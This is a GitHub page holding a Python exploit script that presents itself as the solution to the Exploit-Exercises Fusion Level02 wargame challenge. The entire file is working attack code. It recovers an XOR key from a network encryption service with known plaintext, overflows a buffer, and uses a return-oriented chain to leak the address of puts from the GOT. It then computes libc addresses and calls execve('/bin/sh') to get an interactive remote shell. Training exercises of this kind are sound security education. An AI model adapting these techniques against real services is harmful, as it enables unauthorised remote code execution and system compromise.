-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfusion_level02.py
129 lines (97 loc) · 5.78 KB
/
fusion_level02.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/python
from struct import pack, unpack
import socket
import telnetlib
"""
Exploit-Exercises.com Fusion/Level02 solution.
"""
def connect(host='localhost',port=20002):
"""Opens the connection to the victim process and returns the socket"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))
return sock
def consume_welcome_message(fd):
junk = "[-- Enterprise configuration file encryption service --]\n"
return fd.read(len(junk))
def xor(value, key):
"""encrypts a value by xor'ing with the provided key"""
return ''.join([chr(ord(e) ^ ord(key[i % len(key)])) for i, e in enumerate(value)])
def send_quit(fd):
"""sends the quit message to the server, which closes the connection"""
fd.write('Q')
def encrypt_data(fd, data):
"""encrypts data using the service provided by the victim process"""
junk = "[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n"
fd.write('E' + pack('<I', len(data)) + data) # send the encryption request packet
fd.read(len(junk)) # ignore the encryption complete message
encrypted_data_len, = unpack('<I', fd.read(4)) # get the encrypted data size. not really needed, just for completeness
return fd.read(encrypted_data_len) # again, data length might not be needed, but it's here for completeness
def retrieve_key(fd):
"""retrieves the key from the server by xor'ing the plaintext with the ciphertext"""
dummy_data = 'A' * 128 # key is of type int[32], which means it is 128 bytes
encrypted = encrypt_data(fd, dummy_data)
return xor(dummy_data, encrypted)
def spawn_shell(fd, key, bufsize=32*4096):
"""Executes the exploit and spawns a shell"""
execve_offset_from_puts = 243040 # offset of execve from puts in libc
puts_got_pointer = 0x804b3b8 # location in GOT where pointer to puts is stored
bin_sh_offset_from_puts = 886058 # offset of the /bin/sh string from puts
# setup for calling nwrite to retrieve the address stored in the GOT entry for puts
nwrite_address = 0x80495a0 # address of the nwrite function
nwrite_param_fd = 0x1 # where will nwrite write? 0x1 = file descriptor of STDOUT
nwrite_param_buffer = puts_got_pointer # the buffer where nwrite will read the data from: get the address of puts function from GOT
nwrite_param_size = 0x4 # how much data will nwrite send? 0x4 = 4 bytes, the size of the address :)
encrypt_file_address = 0x80497f7 # address of the encrypt_file function.
dead_beef = 0xdeadbeef # junk
buffer_overflow = (bufsize + 16) * 'A'
get_puts_address_payload = buffer_overflow
get_puts_address_payload += pack('<I', nwrite_address) # encrypt_file() returns to nwrite
get_puts_address_payload += pack('<I', encrypt_file_address) # nwrite will return to this address
get_puts_address_payload += pack('<I', nwrite_param_fd) # where nwrite will write = STDOUT
get_puts_address_payload += pack('<I', nwrite_param_buffer) # nwrite will read from puts() GOT entry
get_puts_address_payload += pack('<I', nwrite_param_size) # nwrite will read & send 4 bytes from the address above
get_puts_address_payload = xor(get_puts_address_payload, key)
print '[+] Attempting to read the address of puts function...'
encrypt_data(fd, get_puts_address_payload) # send the payload
send_quit(fd) # make the function return, so that it returns to nwrite
# now nwrite has been executed, i.e. it has sent the address of the puts function to us.
# This means we have a message to read :)
puts_address, = unpack('<I', fd.read(4))
print '[+] Address retrieved. puts is located at', '0x{0:08x}'.format(puts_address)
# nwrite will return to the encrypt_file function,
# so that we have to consume that boring welcome message again
consume_welcome_message(fd)
# this holds the return address of the function. We set it to the address of execve,
# so that when encrypt_file returns, we spawn a shell 3:)
execve_address = execve_offset_from_puts + puts_address
# calculated address of the string /bin/sh
bin_sh_address = bin_sh_offset_from_puts + puts_address
# payload to execute execve("/bin/sh", NULL, NULL)
spawn_shell_payload = buffer_overflow
spawn_shell_payload += pack('<I', execve_address) # encrypt_file() will return to execve
spawn_shell_payload += pack('<I', dead_beef) # return address of execve();
spawn_shell_payload += pack('<I', bin_sh_address) # /bin/sh
spawn_shell_payload += pack('<I', 0) # NULL
spawn_shell_payload += pack('<I', 0) # NULL
spawn_shell_payload = xor(spawn_shell_payload, key)
print '[+] Sending payload to spawn shell...'
encrypt_data(fd, spawn_shell_payload) # send the payload
send_quit(fd) # and make the function exit. You now know what that means :)
print '[+] Payload sent...'
def enter_terminal_mode(sock):
print '[+] Terminal mode activated...'
t = telnetlib.Telnet()
t.sock = sock
t.interact()
if __name__ == '__main__':
print '[+] Opening connection to the victim host...'
sock = connect()
fd = sock.makefile('rw', bufsize=0)
consume_welcome_message(fd) # ignores the welcome message that arrives when first connected
print '[+] Attempting to retrieve the key...'
key = retrieve_key(fd)
print '[+] Retrieved key: ' + ''.join(['{0:02x}'.format(ord(b)) for b in key])
# exploit and start /bin/sh
spawn_shell(fd, key)
# /bin/sh is now listening for input
enter_terminal_mode(sock)